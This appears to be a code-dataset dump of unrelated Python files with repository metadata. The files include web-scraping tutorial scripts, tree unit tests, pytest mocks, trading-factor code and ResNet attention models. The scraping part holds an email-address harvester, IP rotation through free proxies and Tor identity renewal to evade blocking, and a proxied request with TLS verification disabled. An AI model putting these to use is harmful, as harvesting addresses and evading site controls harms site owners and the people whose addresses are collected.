r"""(?:[a-z0-9!#%&'*+/=?^_{|}-]+(?:\.[a-z0-9!#%&'*+/=?^_{|}-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])""" # initiate an HTTP session session = HTMLSession() # get the HTTP Response r = session.get(url) # for JAVA-Script driven websites r.html.render() with open(sys.argv[2], "a") as f: for re_match in re.finditer(EMAIL_REGEX, r.html.raw_html.decode()): print(re_match.group().strip(), file=f) from bs4 import BeautifulSoup from requests_html import HTMLSession from pprint import pprint # initialize an HTTP session session = HTMLSession() def get_all_forms(url): """Returns all form tags found on a web page's url """ # GET request res = session.get(url) # for javascript driven website # res.html.render() soup = BeautifulSoup(res.html.html, "html.parser") return soup.find_all("form") def get_form_details(form): """Returns the HTML details of a form, including action, method and list of form controls (inputs, etc)""" details = {} # get the form action (requested URL) action = form.attrs.get("action").lower() # get the form method (POST, GET, DELETE, etc) # if not specified, GET is the default in HTML method = form.attrs.get("method", "get").lower() # get all form inputs inputs = [] for input_tag in form.find_all("input"): # get type of input form control input_type = input_tag.attrs.get("type", "text") # get name attribute input_name = input_tag.attrs.get("name") # get the default value of that input tag input_value =input_tag.attrs.get("value", "") # add everything to that list inputs.append({"type": input_type, "name": input_name, "value": input_value}) # put everything to the resulting dictionary details["action"] = action details["method"] = method details["inputs"] = inputs return details if __name__ == "__main__": import sys # get URL from the command line url = sys.argv[1] # get all form tags forms = get_all_forms(url) # iteratte over forms for i, form in enumerate(forms, start=1): form_details = get_form_details(form) print("="*50, f"form #{i}", "="*50) pprint(form_details) from bs4 import BeautifulSoup from requests_html import HTMLSession from pprint import pprint from urllib.parse import urljoin import webbrowser import sys from form_extractor import get_all_forms, get_form_details, session # get the URL from the command line url = sys.argv[1] # get the first form (edit this as you wish) first_form = get_all_forms(url)[0] # extract all form details form_details = get_form_details(first_form) pprint(form_details) # the data body we want to submit data = {} for input_tag in form_details["inputs"]: if input_tag["type"] == "hidden": # if it's hidden, use the default value data[input_tag["name"]] = input_tag["value"] elif input_tag["type"] != "submit": # all others except submit, prompt the user to set it value = input(f"Enter the value of the field '{input_tag['name']}' (type: {input_tag['type']}): ") data[input_tag["name"]] = value # join the url with the action (form request URL) url = urljoin(url, form_details["action"]) if form_details["method"] == "post": res = session.post(url, data=data) elif form_details["method"] == "get": res = session.get(url, params=data) # the below code is only for replacing relative URLs to absolute ones soup = BeautifulSoup(res.content, "html.parser") for link in soup.find_all("link"): try: link.attrs["href"] = urljoin(url, link.attrs["href"]) except: pass for script in soup.find_all("script"): try: script.attrs["src"] = urljoin(url, script.attrs["src"]) except: pass for img in soup.find_all("img"): try: img.attrs["src"] = urljoin(url, img.attrs["src"]) except: pass for a in soup.find_all("a"): try: a.attrs["href"] = urljoin(url, a.attrs["href"]) except: pass # write the page content to a file open("page.html", "w").write(str(soup)) # open the page on the default browser webbrowser.open("page.html") import requests import pandas as pd from bs4 import BeautifulSoup as bs USER_AGENT = "Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" # US english LANGUAGE = "en-US,enq=0.5" def get_soup(url): """Constructs and returns a soup using the HTML content of url passed""" # initialize a session session = requests.Session() # set the User-Agent as a regular browser session.headers['User-Agent'] = USER_AGENT # request for english content (optional) session.headers['Accept-Language'] = LANGUAGE session.headers['Content-Language'] = LANGUAGE # make the request html = session.get(url) # return the soup return bs(html.content, "html.parser") def get_all_tables(soup): """Extracts and returns all tables in a soup object""" return soup.find_all("table") def get_table_headers(table): """Given a table soup, returns all the headers""" headers = [] for th in table.find("tr").find_all("th"): headers.append(th.text.strip()) return headers def get_table_rows(table): """Given a table, returns all its rows""" rows = [] for tr in table.find_all("tr")[1:]: cells = [] # grab all td tags in this table row tds = tr.find_all("td") if len(tds) == 0: # if no td tags, search for th tags # can be found especially in wikipedia tables below the table ths = tr.find_all("th") for th in ths: cells.append(th.text.strip()) else: # use regular td tags for td in tds: cells.append(td.text.strip()) rows.append(cells) return rows def save_as_csv(table_name, headers, rows): pd.DataFrame(rows, columns=headers).to_csv(f"{table_name}.csv") def main(url): # get the soup soup = get_soup(url) # extract all the tables from the web page tables = get_all_tables(soup) print(f"[+] Found a total of {len(tables)} tables.") # iterate over all tables for i, table in enumerate(tables, start=1): # get the table headers headers = get_table_headers(table) # get all the rows of the table rows = get_table_rows(table) # save table as csv file table_name = f"table-{i}" print(f"[+] Saving {table_name}") save_as_csv(table_name, headers, rows) if __name__ == "__main__": import sys try: url = sys.argv[1] except IndexError: print("Please specify a URL.\nUsage: python html_table_extractor.py [URL]") exit(1) main(url) import requests from urllib.parse import urlparse, urljoin from bs4 import BeautifulSoup import colorama # init the colorama module colorama.init() GREEN = colorama.Fore.GREEN GRAY = colorama.Fore.LIGHTBLACK_EX RESET = colorama.Fore.RESET # initialize the set of links (unique links) internal_urls = set() external_urls = set() total_urls_visited = 0 def is_valid(url): """ Checks whether url is a valid URL. """ parsed = urlparse(url) return bool(parsed.netloc) and bool(parsed.scheme) def get_all_website_links(url): """ Returns all URLs that is found on url in which it belongs to the same website """ # all URLs of url urls = set() # domain name of the URL without the protocol domain_name = urlparse(url).netloc soup = BeautifulSoup(requests.get(url).content, "html.parser") for a_tag in soup.findAll("a"): href = a_tag.attrs.get("href") if href == "" or href is None: # href empty tag continue # join the URL if it's relative (not absolute link) href = urljoin(url, href) parsed_href = urlparse(href) # remove URL GET parameters, URL fragments, etc. href = parsed_href.scheme + "://" + parsed_href.netloc + parsed_href.path if not is_valid(href): # not a valid URL continue if href in internal_urls: # already in the set continue if domain_name not in href: # external link if href not in external_urls: print(f"{GRAY}[!] External link: {href}{RESET}") external_urls.add(href) continue print(f"{GREEN}[*] Internal link: {href}{RESET}") urls.add(href) internal_urls.add(href) return urls def crawl(url, max_urls=50): """ Crawls a web page and extracts all links. You'll find all links in external_urls and internal_urls global set variables. params: max_urls (int): number of max urls to crawl, default is 30. """ global total_urls_visited total_urls_visited += 1 links = get_all_website_links(url) for link in links: if total_urls_visited > max_urls: break crawl(link, max_urls=max_urls) if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="Link Extractor Tool with Python") parser.add_argument("url", help="The URL to extract links from.") parser.add_argument("-m", "--max-urls", help="Number of max URLs to crawl, default is 30.", default=30, type=int) args = parser.parse_args() url = args.url max_urls = args.max_urls crawl(url, max_urls=max_urls) print("[+] Total Internal links:", len(internal_urls)) print("[+] Total External links:", len(external_urls)) print("[+] Total URLs:", len(external_urls) + len(internal_urls)) domain_name = urlparse(url).netloc # save the internal links to a file with open(f"{domain_name}_internal_links.txt", "w") as f: for internal_link in internal_urls: print(internal_link.strip(), file=f) # save the external links to a file with open(f"{domain_name}_external_links.txt", "w") as f: for external_link in external_urls: print(external_link.strip(), file=f) import requests import random from bs4 import BeautifulSoup as bs def get_free_proxies(): url = "https://free-proxy-list.net/" # get the HTTP response and construct soup object soup = bs(requests.get(url).content, "html.parser") proxies = [] for row in soup.find("table", attrs={"id": "proxylisttable"}).find_all("tr")[1:]: tds = row.find_all("td") try: ip = tds[0].text.strip() port = tds[1].text.strip() host = f"{ip}:{port}" proxies.append(host) except IndexError: continue return proxies def get_session(proxies): # construct an HTTP session session = requests.Session() # choose one random proxy proxy = random.choice(proxies) session.proxies = {"http": proxy, "https": proxy} return session if __name__ == "__main__": # proxies = get_free_proxies() proxies = [ '167.172.248.53:3128', '194.226.34.132:5555', '203.202.245.62:80', '141.0.70.211:8080', '118.69.50.155:80', '201.55.164.177:3128', '51.15.166.107:3128', '91.205.218.64:80', '128.199.237.57:8080', ] for i in range(5): s = get_session(proxies) try: print("Request page with IP:", s.get("http://icanhazip.com", timeout=1.5).text.strip()) except Exception as e: continue import requests from stem.control import Controller from stem import Signal def get_tor_session(): # initialize a requests Session session = requests.Session() # setting the proxy of both http & https to the localhost:9050 # (Tor service must be installed and started in your machine) session.proxies = {"http": "socks5://localhost:9050", "https": "socks5://localhost:9050"} return session def renew_connection(): with Controller.from_port(port=9051) as c: c.authenticate() # send NEWNYM signal to establish a new clean connection through the Tor network c.signal(Signal.NEWNYM) if __name__ == "__main__": s = get_tor_session() ip = s.get("http://icanhazip.com").text print("IP:", ip) renew_connection() s = get_tor_session() ip = s.get("http://icanhazip.com").text print("IP:", ip) import requests def get_tor_session(): # initialize a requests Session session = requests.Session() # this requires a running Tor service in your machine and listening on port 9050 (by default) session.proxies = {"http": "socks5://localhost:9050", "https": "socks5://localhost:9050"} return session if __name__ == "__main__": s = get_tor_session() ip = s.get("http://icanhazip.com").text print("IP:", ip) import requests url = "http://icanhazip.com" proxy_host = "proxy.crawlera.com" proxy_port = "8010" proxy_auth = ":" proxies = { "https": f"https://{proxy_auth}{proxy_host}:{proxy_port}/", "http": f"http://{proxy_auth}{proxy_host}:{proxy_port}/" } r = requests.get(url, proxies=proxies, verify=False) from bs4 import BeautifulSoup as bs import requests USER_AGENT = "Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" # US english LANGUAGE = "en-US,enq=0.5" def get_weather_data(url): session = requests.Session() session.headers['User-Agent'] = USER_AGENT session.headers['Accept-Language'] = LANGUAGE session.headers['Content-Language'] = LANGUAGE html = session.get(url) # create a new soup soup = bs(html.text, "html.parser") # store all results on this dictionary result = {} # extract region result['region'] = soup.find("div", attrs={"id": "wob_loc"}).text # extract temperature now result['temp_now'] = soup.find("span", attrs={"id": "wob_tm"}).text # get the day and hour now result['dayhour'] = soup.find("div", attrs={"id": "wob_dts"}).text # get the actual weather result['weather_now'] = soup.find("span", attrs={"id": "wob_dc"}).text # get the precipitation result['precipitation'] = soup.find("span", attrs={"id": "wob_pp"}).text # get the % of humidity result['humidity'] = soup.find("span", attrs={"id": "wob_hm"}).text # extract the wind result['wind'] = soup.find("span", attrs={"id": "wob_ws"}).text # get next few days' weather next_days = [] days = soup.find("div", attrs={"id": "wob_dp"}) for day in days.findAll("div", attrs={"class": "wob_df"}): # extract the name of the day day_name = day.find("div", attrs={"class": "vk_lgy"}).attrs['aria-label'] # get weather status for that day weather = day.find("img").attrs["alt"] temp = day.findAll("span", {"class": "wob_t"}) # maximum temparature in Celsius, use temp[1].text if you want fahrenheit max_temp = temp[0].text # minimum temparature in Celsius, use temp[3].text if you want fahrenheit min_temp = temp[2].text next_days.append({"name": day_name, "weather": weather, "max_temp": max_temp, "min_temp": min_temp}) # append to result result['next_days'] = next_days return result if __name__ == "__main__": URL = "https://www.google.com/search?lr=lang_en&ie=UTF-8&q=weather" import argparse parser = argparse.ArgumentParser(description="Quick Script for Extracting Weather data using Google Weather") parser.add_argument("region", nargs="?", help="""Region to get weather for, must be available region. Default is your current location determined by your IP Address""", default="") # parse arguments args = parser.parse_args() region = args.region URL += region # get data data = get_weather_data(URL) # print data print("Weather for:", data["region"]) print("Now:", data["dayhour"]) print(f"Temperature now: {data['temp_now']}C") print("Description:", data['weather_now']) print("Precipitation:", data["precipitation"]) print("Humidity:", data["humidity"]) print("Wind:", data["wind"]) print("Next days:") for dayweather in data["next_days"]: print("="*40, dayweather["name"], "="*40) print("Description:", dayweather["weather"]) print(f"Max temperature: {dayweather['max_temp']}C") print(f"Min temperature: {dayweather['min_temp']}C") import requests from bs4 import BeautifulSoup as bs from urllib.parse import urljoin import sys # URL of the web page you want to extract url = sys.argv[1] # initialize a session session = requests.Session() # set the User-agent as a regular browser session.headers["User-Agent"] = "Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" # get the HTML content html = session.get(url).content # parse HTML using beautiful soup soup = bs(html, "html.parser") # get the JavaScript files script_files = [] for script in soup.find_all("script"): if script.attrs.get("src"): # if the tag has the attribute 'src' script_url = urljoin(url, script.attrs.get("src")) script_files.append(script_url) # get the CSS files css_files = [] for css in soup.find_all("link"): if css.attrs.get("href"): # if the link tag has the 'href' attribute css_url = urljoin(url, css.attrs.get("href")) css_files.append(css_url) print("Total script files in the page:", len(script_files)) print("Total CSS files in the page:", len(css_files)) # write file links into files with open("javascript_files.txt", "w") as f: for js_file in script_files: print(js_file, file=f) with open("css_files.txt", "w") as f: for css_file in css_files: print(css_file, file=f) import wikipedia # print the summary of what python is print(wikipedia.summary("Python Programming Language")) # search for a term result = wikipedia.search("Neural networks") print("Result search of 'Neural networks':", result) # get the page: Neural network page = wikipedia.page(result[0]) # get the title of the page title = page.title # get the categories of the page categories = page.categories # get the whole wikipedia page text (content) content = page.content # get all the links in the page links = page.links # get the page references references = page.references # summary summary = page.summary # print info print("Page content:\n", content, "\n") print("Page title:", title, "\n") print("Categories:", categories, "\n") print("Links:", links, "\n") print("References:", references, "\n") print("Summary:", summary, "\n") import requests from bs4 import BeautifulSoup as bs def get_video_info(url): # download HTML code content = requests.get(url) # create beautiful soup object to parse HTML soup = bs(content.content, "html.parser") # initialize the result result = {} # video title result['title'] = soup.find("span", attrs={"class": "watch-title"}).text.strip() # video views (converted to integer) result['views'] = int(soup.find("div", attrs={"class": "watch-view-count"}).text[:-6].replace(",", "")) # video description result['description'] = soup.find("p", attrs={"id": "eow-description"}).text # date published result['date_published'] = soup.find("strong", attrs={"class": "watch-time-text"}).text # number of likes as integer result['likes'] = int(soup.find("button", attrs={"title": "I like this"}).text.replace(",", "")) # number of dislikes as integer result['dislikes'] = int(soup.find("button", attrs={"title": "I dislike this"}).text.replace(",", "")) # channel details channel_tag = soup.find("div", attrs={"class": "yt-user-info"}).find("a") # channel name channel_name = channel_tag.text # channel URL channel_url = f"https://www.youtube.com{channel_tag['href']}" # number of subscribers as str channel_subscribers = soup.find("span", attrs={"class": "yt-subscriber-count"}).text.strip() result['channel'] = {'name': channel_name, 'url': channel_url, 'subscribers': channel_subscribers} return result if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="YouTube Video Data Extractor") parser.add_argument("url", help="URL of the YouTube video") args = parser.parse_args() # parse the video URL from command line url = args.url data = get_video_info(url) # print in nice format print(f"Title: {data['title']}") print(f"Views: {data['views']}") print(f"\nDescription: {data['description']}\n") print(data['date_published']) print(f"Likes: {data['likes']}") print(f"Dislikes: {data['dislikes']}") print(f"\nChannel Name: {data['channel']['name']}") print(f"Channel URL: {data['channel']['url']}") print(f"Channel Subscribers: {data['channel']['subscribers']}")
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4a0a2a16488fbcb23d6421199f8d56bd38298ee4
4,015
py
Python
src/tree_dict_test.py
yaricom/english-article-correction
e48e9af2d86e20ee0a3d091a5340a8669302c36a
[ "MIT" ]
6
2017-06-05T08:58:55.000Z
2020-11-22T13:49:34.000Z
src/tree_dict_test.py
yaricom/english-article-correction
e48e9af2d86e20ee0a3d091a5340a8669302c36a
[ "MIT" ]
null
null
null
src/tree_dict_test.py
yaricom/english-article-correction
e48e9af2d86e20ee0a3d091a5340a8669302c36a
[ "MIT" ]
2
2017-04-24T08:19:06.000Z
2020-12-16T08:42:09.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ The tests for tree implementation @author: yaric """ import unittest import tree_dict as td import config import utils class TestDeepTreeMethods(unittest.TestCase): @classmethod def setUpClass(cls): data = utils.read_json(config.parse_train_path) tree_dict = data[1] root, index = td.treeFromJSON(tree_dict) cls.root = root def test_walk(self): nodes = [n for n in td.walk(self.root)] self.assertEqual(len(nodes), 125, "Nodes in the ROOT") def test_leaves(self): leaves = self.root.leaves() self.assertEqual(len(leaves), 43, "Leaves in the ROOT") def test_leaves_s_indexes(self): leaves = self.root.leaves() self.assertEqual(len(leaves), 43, "Leaves in the ROOT") index = 0 for l in leaves: self.assertEqual(l.s_index, index, "Index of leaf") index += 1 def test_subtrees(self): subtrees = self.root.subtrees() self.assertEqual(len(subtrees), 82, "Subtrees in the ROOT [min_childs = 1]") subtrees = self.root.subtrees(min_childs = 2) self.assertEqual(len(subtrees), 28, "Subtrees in the ROOT [min_childs = 2]") def test_np_subtrees(self): subtrees = self.root.subtrees() np_subtrees = 0 for st in subtrees: if st.name == 'NP': np_subtrees += 1 self.assertEqual(np_subtrees, 13, "NP Subtrees in the ROOT") def test_deepNPSubtrees(self): subtrees = self.root.deepNPSubtrees() self.assertEqual(len(subtrees), 11, "Deep NP Subtrees in the ROOT") def test_leaves_with_pos(self): leaves = self.root.leavesWithPOS('DT') self.assertEqual(len(leaves), 3, "Leaves with POS 'DT' in the ROOT") def test_dpaSubtrees(self): subtrees = self.root.dpaSubtrees() self.assertEqual(len(subtrees), 3, "DPA Subtrees in the ROOT") class TestShallowTreeMethods(unittest.TestCase): @classmethod def setUpClass(cls): data = utils.read_json(config.parse_train_path) tree_dict = data[723] root, index = td.treeFromJSON(tree_dict) cls.root = root def test_walk(self): nodes = [n for n in td.walk(self.root)] self.assertEqual(len(nodes), 33, "Nodes in the ROOT") def test_leaves(self): leaves = self.root.leaves() self.assertEqual(len(leaves), 14, "Leaves in the ROOT") def test_leaves_s_indexes(self): leaves = self.root.leaves() self.assertEqual(len(leaves), 14, "Leaves in the ROOT") index = 0 for l in leaves: self.assertEqual(l.s_index, index, "Index of leaf") index += 1 def test_subtrees(self): subtrees = self.root.subtrees() self.assertEqual(len(subtrees), 19, "Subtrees in the ROOT [min_childs = 1]") subtrees = self.root.subtrees(min_childs = 2) self.assertEqual(len(subtrees), 2, "Subtrees in the ROOT [min_childs = 2]") def test_np_subtrees(self): subtrees = self.root.subtrees() np_subtrees = 0 for st in subtrees: if st.name == 'NP': np_subtrees += 1 self.assertEqual(np_subtrees, 4, "NP Subtrees in the ROOT") def test_deepNPSubtrees(self): subtrees = self.root.deepNPSubtrees() self.assertEqual(len(subtrees), 4, "Deep NP Subtrees in the ROOT") def test_leaves_with_pos(self): leaves = self.root.leavesWithPOS('DT') self.assertEqual(len(leaves), 1, "Leaves with POS 'DT' in the ROOT") def test_dpaSubtrees(self): subtrees = self.root.dpaSubtrees() self.assertEqual(len(subtrees), 0, "DPA Subtrees in the ROOT") if __name__ == '__main__': unittest.main()
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0.128535
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0.051414
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8
4a118f04c0bbe52b576cf244b8fc711216b27b01
196
py
Python
Scraping/espirito_santo.py
Insper-Data/data_bcg_news
49986db18095759adea00bb0dedc149acebb683b
[ "MIT" ]
null
null
null
Scraping/espirito_santo.py
Insper-Data/data_bcg_news
49986db18095759adea00bb0dedc149acebb683b
[ "MIT" ]
null
null
null
Scraping/espirito_santo.py
Insper-Data/data_bcg_news
49986db18095759adea00bb0dedc149acebb683b
[ "MIT" ]
null
null
null
import time from selenium import webdriver from selenium import webdriver driver = webdriver.Firefox(executable_path= r"C:\Users\siddhartha\Downloads\geckodriver-v0.25.0-win64\geckodriver.exe")
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7
c596a34e57ad7da889c88b759979a97b7d0f5ba7
1,264
py
Python
tests/test_queries.py
eugene-davis/ebr-board
f592a752e17e869a6fd35ef82398f97748dbdc78
[ "Apache-2.0" ]
null
null
null
tests/test_queries.py
eugene-davis/ebr-board
f592a752e17e869a6fd35ef82398f97748dbdc78
[ "Apache-2.0" ]
4
2019-08-02T09:35:51.000Z
2019-08-05T04:45:47.000Z
tests/test_queries.py
LaudateCorpus1/ebr-board
f592a752e17e869a6fd35ef82398f97748dbdc78
[ "Apache-2.0" ]
1
2021-09-14T03:58:40.000Z
2021-09-14T03:58:40.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- """Tests for `ebr_board` package.""" import pytest from unittest.mock import patch from ebr_board.database.queries import make_query @patch("ebr_board.database.queries.BuildResults") def test_make_query(mock_build_results): """ Basic smoke test for make_query """ result = make_query("test_index", None, [], [], agg=None, size=1, start=0) assert mock_build_results.search.called_with("test_index") assert mock_build_results.search.source.called_with([], []) assert mock_build_results.search.query.called_with("bool", filter=[None]) assert mock_build_results.search.execute.called_with() @patch("ebr_board.database.queries.BuildResults") def test_make_query_agg(mock_build_results): """ Basic smoke test for make_query with aggregation """ result = make_query("test_index", None, [], [], agg="agg", size=1, start=0) assert mock_build_results.search.called_with("test_index") assert mock_build_results.search.source.called_with([], []) assert mock_build_results.search.aggs.metric.called_with("fail_count", "agg") assert mock_build_results.search.query.called_with("bool", filter=[None]) assert mock_build_results.search.execute.called_with()
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8
c5badeb05e4ec40a28d9a9aa7091d2cf623db5d4
176
py
Python
{{ cookiecutter.tool_name_slug }}/{{ cookiecutter.tool_name_slug }}/core/exceptions.py
polyglot-jones/cookiecutter-cli-filter
cc2552d16c619369c8f77cc4b4271e89ffbca6f8
[ "BSD-3-Clause" ]
null
null
null
{{ cookiecutter.tool_name_slug }}/{{ cookiecutter.tool_name_slug }}/core/exceptions.py
polyglot-jones/cookiecutter-cli-filter
cc2552d16c619369c8f77cc4b4271e89ffbca6f8
[ "BSD-3-Clause" ]
null
null
null
{{ cookiecutter.tool_name_slug }}/{{ cookiecutter.tool_name_slug }}/core/exceptions.py
polyglot-jones/cookiecutter-cli-filter
cc2552d16c619369c8f77cc4b4271e89ffbca6f8
[ "BSD-3-Clause" ]
null
null
null
from gwpycore import GruntWurkError class {{ cookiecutter.tool_name_camel_case }}Error(GruntWurkError): pass __all__ = ("{{ cookiecutter.tool_name_camel_case }}Error",)
22
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6.3
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0
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7
c5ee74924a78c9c0df766e716d4888d5214109a1
2,793
py
Python
czsc/factors/bi_end.py
MakeBigBigMoney/czsc
8450c8912904b1d66a5c6e78d42c1b7d4b3d1777
[ "MIT" ]
1
2021-07-07T11:15:48.000Z
2021-07-07T11:15:48.000Z
czsc/factors/bi_end.py
MakeBigBigMoney/czsc
8450c8912904b1d66a5c6e78d42c1b7d4b3d1777
[ "MIT" ]
null
null
null
czsc/factors/bi_end.py
MakeBigBigMoney/czsc
8450c8912904b1d66a5c6e78d42c1b7d4b3d1777
[ "MIT" ]
null
null
null
# coding: utf-8 import warnings from typing import List, Dict, OrderedDict from ..enum import Signals, Factors, Freq from ..factors.utils import match_factor # ====================================================================================================================== def future_bi_end_f30_base(s: [Dict, OrderedDict]): """期货30分钟笔结束""" v = Factors.Other.value for f_ in [Freq.F30.value, Freq.F5.value, Freq.F1.value]: if f_ not in s['级别列表']: warnings.warn(f"{f_} not in {s['级别列表']}，默认返回 Other") return v # 开多仓因子 # -------------------------------------------------------------------------------------------------------------- long_opens = { Factors.L2A0.value: [ [f"{Freq.F30.value}_倒1表里关系#{Signals.BD0.value}"], ] } for name, factors in long_opens.items(): for factor in factors: if match_factor(s, factor): v = name # 平多仓因子 # -------------------------------------------------------------------------------------------------------------- long_exits = { Factors.S2A0.value: [ [f"{Freq.F30.value}_倒1表里关系#{Signals.BU0.value}"], ] } for name, factors in long_exits.items(): for factor in factors: if match_factor(s, factor): v = name return v future_bi_end_f30 = future_bi_end_f30_base # ====================================================================================================================== def share_bi_end_f30_base(s: [Dict, OrderedDict]): """股票30分钟笔结束""" v = Factors.Other.value for f_ in [Freq.F30.value, Freq.F5.value, Freq.F1.value]: if f_ not in s['级别列表']: warnings.warn(f"{f_} not in {s['级别列表']}，默认返回 Other") return v # 平多仓因子 # -------------------------------------------------------------------------------------------------------------- long_exits = { Factors.S2A0.value: [ [f"{Freq.F30.value}_倒1表里关系#{Signals.BU0.value}"], ] } for name, factors in long_exits.items(): for factor in factors: if match_factor(s, factor): v = name # 开多仓因子 # -------------------------------------------------------------------------------------------------------------- long_opens = { Factors.L2A0.value: [ [f"{Freq.F30.value}_倒1表里关系#{Signals.BD0.value}"], ] } for name, factors in long_opens.items(): for factor in factors: if match_factor(s, factor): v = name return v share_bi_end_f30 = share_bi_end_f30_base # ======================================================================================================================
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120
0.39599
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2,793
4.065134
0.203065
0.028275
0.04524
0.04524
0.835061
0.791706
0.791706
0.738926
0.738926
0.738926
0
0.022801
0.230576
2,793
85
121
32.858824
0.470917
0.307555
0
0.714286
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0.129843
0.090052
0
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0.035714
false
0
0.071429
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0.178571
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null
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0
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0
0
0
8
680a944bd3911775dbc4aec05d6d674384582a13
98
py
Python
src/wandb_allennlp/training/__init__.py
mfa/wandb-allennlp
29ebba81cdbd83653350d00911c4a54d8da9def1
[ "MIT" ]
22
2020-03-28T10:28:26.000Z
2022-02-17T12:31:17.000Z
src/wandb_allennlp/training/__init__.py
mfa/wandb-allennlp
29ebba81cdbd83653350d00911c4a54d8da9def1
[ "MIT" ]
14
2020-03-21T17:04:40.000Z
2021-09-27T10:11:19.000Z
src/wandb_allennlp/training/__init__.py
mfa/wandb-allennlp
29ebba81cdbd83653350d00911c4a54d8da9def1
[ "MIT" ]
4
2020-04-18T10:33:34.000Z
2021-02-02T11:57:28.000Z
from wandb_allennlp.training import train_and_test from wandb_allennlp.training import callbacks
32.666667
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1
0
1
0
1
0
0
8
68100532ca2e665d9bdb08f2737cdbb883c5a1c5
4,951
py
Python
models/general/resnet.py
Malta-Lab/IUPE
44ddf119917538f02bb69509fec7a8314eed419f
[ "MIT" ]
10
2020-08-14T00:39:39.000Z
2021-04-07T02:51:01.000Z
models/general/resnet.py
Malta-Lab/IUPE
44ddf119917538f02bb69509fec7a8314eed419f
[ "MIT" ]
4
2020-08-13T14:07:48.000Z
2022-03-12T00:46:15.000Z
models/general/resnet.py
Malta-Lab/IUPE
44ddf119917538f02bb69509fec7a8314eed419f
[ "MIT" ]
2
2020-08-17T14:38:54.000Z
2020-10-03T02:18:39.000Z
from copy import deepcopy import torch import torchvision import torch.nn as nn import torch.nn.functional as F import torchvision.models as models from .attention import Self_Attn2D def normalize_imagenet(x): ''' Normalize input images according to ImageNet standards. Args: x (tensor): input images ''' x = x.clone() x[:, 0] = (x[:, 0] - 0.485) / 0.229 x[:, 1] = (x[:, 1] - 0.456) / 0.224 x[:, 2] = (x[:, 2] - 0.406) / 0.225 return x def create_resnet(type): if type == 'resnet': return Resnet elif type =='attention-first': return ResnetFirst elif type == 'attention-last': return ResnetLast elif type == 'attention-all': return ResnetAll class Resnet(nn.Module): r''' ResNet encoder network for image input. Args: c_dim (int): output dimension of the latent embedding normalize (bool): whether the input images should be normalized ''' def __init__(self, normalize=False): super().__init__() self.normalize = normalize self.features = models.resnet18(pretrained=True) def forward(self, x): img = deepcopy(x) if self.normalize: x = normalize_imagenet(x) x = self.features.conv1(x) x = self.features.bn1(x) x = self.features.relu(x) x = self.features.maxpool(x) x = self.features.layer1(x) # 64 x = self.features.layer2(x) # 128 x = self.features.layer3(x) # 256 x = self.features.layer4(x) # 512 x = self.features.avgpool(x) x = torch.flatten(x, 1) # batch, 512 return x class ResnetFirst(nn.Module): r''' ResNet encoder network for image input. Args: c_dim (int): output dimension of the latent embedding normalize (bool): whether the input images should be normalized ''' def __init__(self, normalize=False): super().__init__() self.normalize = normalize self.features = models.resnet18(pretrained=True) self.att = Self_Attn2D(64) self.att2 = Self_Attn2D(128) def forward(self, x): img = deepcopy(x) if self.normalize: x = normalize_imagenet(x) x = self.features.conv1(x) x = self.features.bn1(x) x = self.features.relu(x) x = self.features.maxpool(x) x = self.features.layer1(x) # 64 x, _ = self.att(x) x = self.features.layer2(x) # 128 x, _ = self.att2(x) x = self.features.layer3(x) # 256 x = self.features.layer4(x) # 512 x = self.features.avgpool(x) x = torch.flatten(x, 1) # batch, 512 return x class ResnetLast(nn.Module): r''' ResNet encoder network for image input. Args: c_dim (int): output dimension of the latent embedding normalize (bool): whether the input images should be normalized ''' def __init__(self, normalize=False): super().__init__() self.normalize = normalize self.features = models.resnet18(pretrained=True) self.att3 = Self_Attn2D(256) self.att4 = Self_Attn2D(512) def forward(self, x): img = deepcopy(x) if self.normalize: x = normalize_imagenet(x) x = self.features.conv1(x) x = self.features.bn1(x) x = self.features.relu(x) x = self.features.maxpool(x) x = self.features.layer1(x) # 64 x = self.features.layer2(x) # 128 x = self.features.layer3(x) # 256 x, _ = self.att3(x) x = self.features.layer4(x) # 512 x, _ = self.att4(x) x = self.features.avgpool(x) x = torch.flatten(x, 1) # batch, 512 return x class ResnetAll(nn.Module): r''' ResNet encoder network for image input. Args: c_dim (int): output dimension of the latent embedding normalize (bool): whether the input images should be normalized ''' def __init__(self, normalize=False): super().__init__() self.normalize = normalize self.features = models.resnet18(pretrained=True) self.att = Self_Attn2D(64) self.att2 = Self_Attn2D(128) self.att3 = Self_Attn2D(256) self.att4 = Self_Attn2D(512) def forward(self, x): img = deepcopy(x) if self.normalize: x = normalize_imagenet(x) x = self.features.conv1(x) x = self.features.bn1(x) x = self.features.relu(x) x = self.features.maxpool(x) x = self.features.layer1(x) # 64 x, _ = self.att(x) x = self.features.layer2(x) # 128 x, _ = self.att2(x) x = self.features.layer3(x) # 256 x, _ = self.att3(x) x = self.features.layer4(x) # 512 x, _ = self.att4(x) x = self.features.avgpool(x) x = torch.flatten(x, 1) # batch, 512 return x
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0.1399
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false
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0
7
a8b5662ba5a62810eb631e072436a4c755f4dd55
41,411
py
Python
app.py
solilsan/Python3_SGE
f74eaeafa425a4107c35e70c3ba4019492f9a9fc
[ "Apache-2.0" ]
null
null
null
app.py
solilsan/Python3_SGE
f74eaeafa425a4107c35e70c3ba4019492f9a9fc
[ "Apache-2.0" ]
null
null
null
app.py
solilsan/Python3_SGE
f74eaeafa425a4107c35e70c3ba4019492f9a9fc
[ "Apache-2.0" ]
null
null
null
